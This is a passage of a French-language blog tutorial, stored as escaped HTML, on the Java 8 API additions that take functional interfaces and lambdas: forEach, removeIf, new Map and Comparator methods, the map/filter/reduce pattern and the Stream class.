&lt;p&gt;Pour que l&amp;rsquo;utilisation des interfaces fonctionnelles soit intéressante, il faudrait que l&amp;rsquo;API fournisse une série de méthodes prenant en paramètre une de ces interfaces fonctionnelles. &lt;/p&gt;
&lt;h2 id="newforeach"&gt;Méthode foreach pour les itérables&lt;/h2&gt;
&lt;p&gt;On a connu le &lt;em&gt;for&lt;/em&gt; pour parcourir un peu n&amp;rsquo;importe quoi tant que l&amp;rsquo;on pouvait y mettre un indice. On a oublié les itérateurs avec les boucles &lt;em&gt;for&lt;/em&gt; contenant des &lt;em&gt;hasNext / next&lt;/em&gt; parce qu&amp;rsquo;est apparu le &lt;em&gt;enhanced for&lt;/em&gt; (le &lt;em&gt;foreach&lt;/em&gt; de son petit nom). &lt;/p&gt;
&lt;p&gt;On accueille aujourd&amp;rsquo;hui la méthode &lt;em&gt;forEach&lt;/em&gt; qui s&amp;rsquo;applique à un &lt;code&gt;Iterable&lt;/code&gt;
(mais pas à un tableau). Cette méthode aura besoin d&amp;rsquo;un &lt;em&gt;consumer&lt;/em&gt; en paramètre.
On pourra par exemple écrire: &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;
&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="n"&gt;ou&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dans&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sa&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;way&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sans&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;lambdas&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;

&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Consumer&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sans utiliser les lambdas, l&amp;rsquo;écriture n&amp;rsquo;est pas plus compacte que &lt;em&gt;enhanced for&lt;/em&gt; et l&amp;rsquo;intérêt est assez limité.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;person&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;person&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;img alt="jdk8, iterable" src="/images/screenshot-jdk8-iterable.png"&gt;&lt;/p&gt;
&lt;h2 id="removeif"&gt;Méthode removeIf pour les collections&lt;/h2&gt;
&lt;p&gt;Dans le même genre d&amp;rsquo;approche, &lt;em&gt;jdk8&lt;/em&gt; voit apparaitre &lt;code&gt;Collection.removeIf(Predicate)&lt;/code&gt; qui permet la suppression d&amp;rsquo;un élément … &lt;/p&gt;
&lt;p&gt;&lt;img alt="jdk8, removeif" src="/images/screenshot-jdk8-collection-removeif.png"&gt;&lt;/p&gt;
&lt;p&gt;Supprimer un élément dans une liste devient assez compact et simple (avant, je ne pouvais pas faire sans &amp;ndash;la parcourir&amp;ndash; écrire le parcours):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;removeIf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Marlène&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="map"&gt;La classe Map&lt;/h2&gt;
&lt;p&gt;La classe &lt;code&gt;java.util.Map&lt;/code&gt; s&amp;rsquo;enrichit de quelques méthodes. &lt;code&gt;putIfAbsent&lt;/code&gt; ne nécessite pas que l&amp;rsquo;on s&amp;rsquo;y attarde. &lt;code&gt;Map&lt;/code&gt; propose un &lt;em&gt;forEach&lt;/em&gt; sur ses paires clé/valeur utilisant un &lt;em&gt;biconsumer&lt;/em&gt; (je « consomme » la clé et la valeur pour en faire « quelque chose ») et un &lt;em&gt;replaceAll&lt;/em&gt; utilisant une &lt;em&gt;bifunction&lt;/em&gt; (sur base de la clé et de la valeur, je retourne « quelque chose ») sur les
paires clé/valeur permettant par exemple d&amp;rsquo;écrire:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Map&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;
&lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;replaceAll&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GenderPerson&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Gender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UNKNOW&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; (&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Au traditionnel &lt;code&gt;put&lt;/code&gt;, la classe ajoute une méthode &lt;code&gt;replace&lt;/code&gt; dont je ne vois pas l&amp;rsquo;utilité, une méthode &lt;code&gt;compute[IfAbsent|IfPresent]&lt;/code&gt; permettant de modifier une valeur voire de l&amp;rsquo;ajouter si elle n&amp;rsquo;existe pas et ajoute à la méthode &lt;code&gt;remove(Key)&lt;/code&gt; déjà existante une méthode &lt;code&gt;remove(Key, Value)&lt;/code&gt; qui n&amp;rsquo;ôtera la paire que si la &lt;strong&gt;paire&lt;/strong&gt; existe. À l&amp;rsquo;inverse de l&amp;rsquo;ancienne méthode qui ôte la paire quelle que soit la valeur. &lt;/p&gt;
&lt;h2 id="comparator"&gt;La classe Comparator&lt;/h2&gt;
&lt;p&gt;La classe &lt;code&gt;java.util.Comparator&lt;/code&gt; (&lt;em&gt;functional interface&lt;/em&gt;) est munie d&amp;rsquo;une méthode statique &lt;code&gt;naturalOrder&lt;/code&gt; retournant un &lt;em&gt;comparator&lt;/em&gt; basé sur la méthode &lt;em&gt;compareTo&lt;/em&gt;. Cette classe &lt;code&gt;Comparator&lt;/code&gt; ne fonctionne donc qu&amp;rsquo;avec des objets comparables (implémentant &lt;code&gt;Comparable&lt;/code&gt;). &lt;/p&gt;
&lt;p&gt;La classe existe depuis &lt;em&gt;jdk1.2&lt;/em&gt; et s&amp;rsquo;utilise avec &lt;code&gt;Arrays.sort&lt;/code&gt; et &lt;code&gt;Collections.sort&lt;/code&gt;. Aujourd&amp;rsquo;hui une méthode &lt;em&gt;sort&lt;/em&gt; est ajoutée à l&amp;rsquo;interface &lt;em&gt;List&lt;/em&gt;. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;
&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Comparator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;naturalOrder&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;

&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Comparator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;reverseOrder&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;

&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;charAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;charAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;La méthode compare de la classe Comparator est une bifunction et la classe Comparator une interface fonctionnelle.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="mapfilterreduce"&gt;Map, filter, reduce pattern&lt;/h2&gt;
&lt;p&gt;La présentation de &lt;a href="http://blog.paumard.org/"&gt;José Paumard&lt;/a&gt; au &lt;a href="http://wiki.brussels-jug.be/doku.php"&gt;BRUJUG&lt;/a&gt; commence par une présentation du &lt;em&gt;design pattern&lt;/em&gt; « Map / (filter) / reduce ». &lt;/p&gt;
&lt;p&gt;La première question posée est:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Calculer la moyenne d&amp;rsquo;âge des personnes de plus de 20 ans dans cette liste. &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Avec un &lt;em&gt;jdk7&lt;/em&gt; et une approche itérative ce calcul nécessite; un  parcours de la liste, un  test au niveau de l&amp;rsquo;âge, l&amp;rsquo;ajout de l&amp;rsquo;âge à la somme des âges et, finalement, un calcul de la moyenne par division. &lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;inverse, cette même question posée à un SGBD nous permettrait d&amp;rsquo;écrire quelque chose du style ci-dessous tout en laissant au SGBD le loisir de faire le calcul comme il l&amp;rsquo;entend:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AVG&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;L&amp;rsquo;approche que l&amp;rsquo;on veut avoir et qui nous [est un peu guidée par les algorithmes &lt;em&gt;big data&lt;/em&gt;][mapreduce] est de faire &lt;strong&gt;correspondre&lt;/strong&gt; la liste aux attributs qui vont bien (par exemple les prénoms), de la &lt;strong&gt;filtrer&lt;/strong&gt; en ne conservant que les personnes qui nous intéressent et de &lt;strong&gt;réduire&lt;/strong&gt; la liste en un seul nombre, dans ce cas, la moyenne d&amp;rsquo;âge.&lt;/p&gt;
&lt;p&gt;Les trois termes importants sont: &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;map&lt;/em&gt; fait correspondre une liste à une autre liste du même nombre d&amp;rsquo;éléments (une liste de personnes &amp;lt;-&amp;gt; une liste &lt;strong&gt;d&amp;rsquo;âges&lt;/strong&gt; de personne);&lt;/li&gt;
&lt;li&gt;&lt;em&gt;filter&lt;/em&gt; fait correspondre une liste à une liste de moins d&amp;rsquo;éléments &lt;strong&gt;du même type&lt;/strong&gt; (une liste d&amp;rsquo;âge → une liste d&amp;rsquo;âge &amp;gt; 20 ans);&lt;/li&gt;
&lt;li&gt;&lt;em&gt;reduce&lt;/em&gt; agrège les éléments en un résultat unique (la moyenne)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il est possible de modéliser cela avec JDK7 par le biais d&amp;rsquo;interfaces et de
classes anonymes &lt;a href="http://fr.slideshare.net/mobile/jpaumard/jdk-8-lambdas-streams-collectos-bretagne-tour"&gt;comme l&amp;rsquo;explique très bien José Paumard dans sa présentation
des lambdas / streams / collectors&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;Je devrais créer une interface me permettant de faire correspondre une personne avec son âge. Nous savons déjà que les &lt;strong&gt;interfaces fonctionnelles&lt;/strong&gt; (&lt;em&gt;functional interfaces&lt;/em&gt;) répondent à la question avec une fonction (&lt;em&gt;function&lt;/em&gt;). Pour le filtre, un prédicat (&lt;em&gt;predicate&lt;/em&gt;) précisera si l&amp;rsquo;on conserve l&amp;rsquo;élément dans la nouvelle liste ou pas. Tandis que pour l&amp;rsquo;agrégation, une bifonction (&lt;em&gt;bifunction&lt;/em&gt;) réduira la valeur de proche en proche.  &lt;/p&gt;
&lt;h2 id="laclassestream"&gt;La classe Stream&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;package java.util.stream&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Un &lt;em&gt;stream&lt;/em&gt; est un flux de données, éventuellement infini en provenance d&amp;rsquo;une source. &lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est une interface générique (&lt;code&gt;Stream&amp;lt;E&amp;gt;&lt;/code&gt;) ou une interface adaptée
aux types primitifs (&lt;code&gt;IntStream&lt;/code&gt;…) Un &lt;em&gt;stream&lt;/em&gt; ne porte pas les données ni ne les contient, il permet de les faire transiter afin d&amp;rsquo;exprimer un traitement sur celles-ci. Le &lt;em&gt;stream&lt;/em&gt; ne modifie pas la source, il permet l&amp;rsquo;expression d&amp;rsquo;un traitement. &lt;/p&gt;
&lt;p&gt;Les opérations sur les &lt;em&gt;stream&lt;/em&gt; sont de deux types:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;les opérations intermédiaires qui ne font aucun traitement mais qui le définissent (&lt;em&gt;map&lt;/em&gt;, &lt;em&gt;filter&lt;/em&gt;) et;&lt;/li&gt;
&lt;li&gt;les opérations terminales qui déclenchent le traitement (&lt;em&gt;reduce&lt;/em&gt;, « &lt;em&gt;to collection&lt;/em&gt; »)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;L&amp;rsquo;utilisation d&amp;rsquo;un &lt;em&gt;stream&lt;/em&gt; permet d&amp;rsquo;éviter la duplication de collections en mémoire lorsque le traitement que l&amp;rsquo;on veut faire nécessite l&amp;rsquo;utilisation de collections intermédiaires. L&amp;rsquo;utilisation d&amp;rsquo;un &lt;em&gt;stream&lt;/em&gt; permettra au compilateur d&amp;rsquo;optimiser le traitement en fonction du traitement que l&amp;rsquo;on désire. &lt;/p&gt;
&lt;p&gt;Un &lt;em&gt;stream&lt;/em&gt; se crée sur base d&amp;rsquo;une collection, d&amp;rsquo;un tableau ou d&amp;rsquo;une des &lt;em&gt;factory&lt;/em&gt; de la classe &lt;code&gt;Stream&lt;/code&gt;. &lt;br&gt;
Par exemple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;
&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wednesday&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Un &lt;em&gt;stream&lt;/em&gt; est &lt;code&gt;Closeable&lt;/code&gt;. Il peut donc se trouver dans un &lt;em&gt;try-with resources&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="laclassecollectors"&gt;La classe Collectors&lt;/h2&gt;
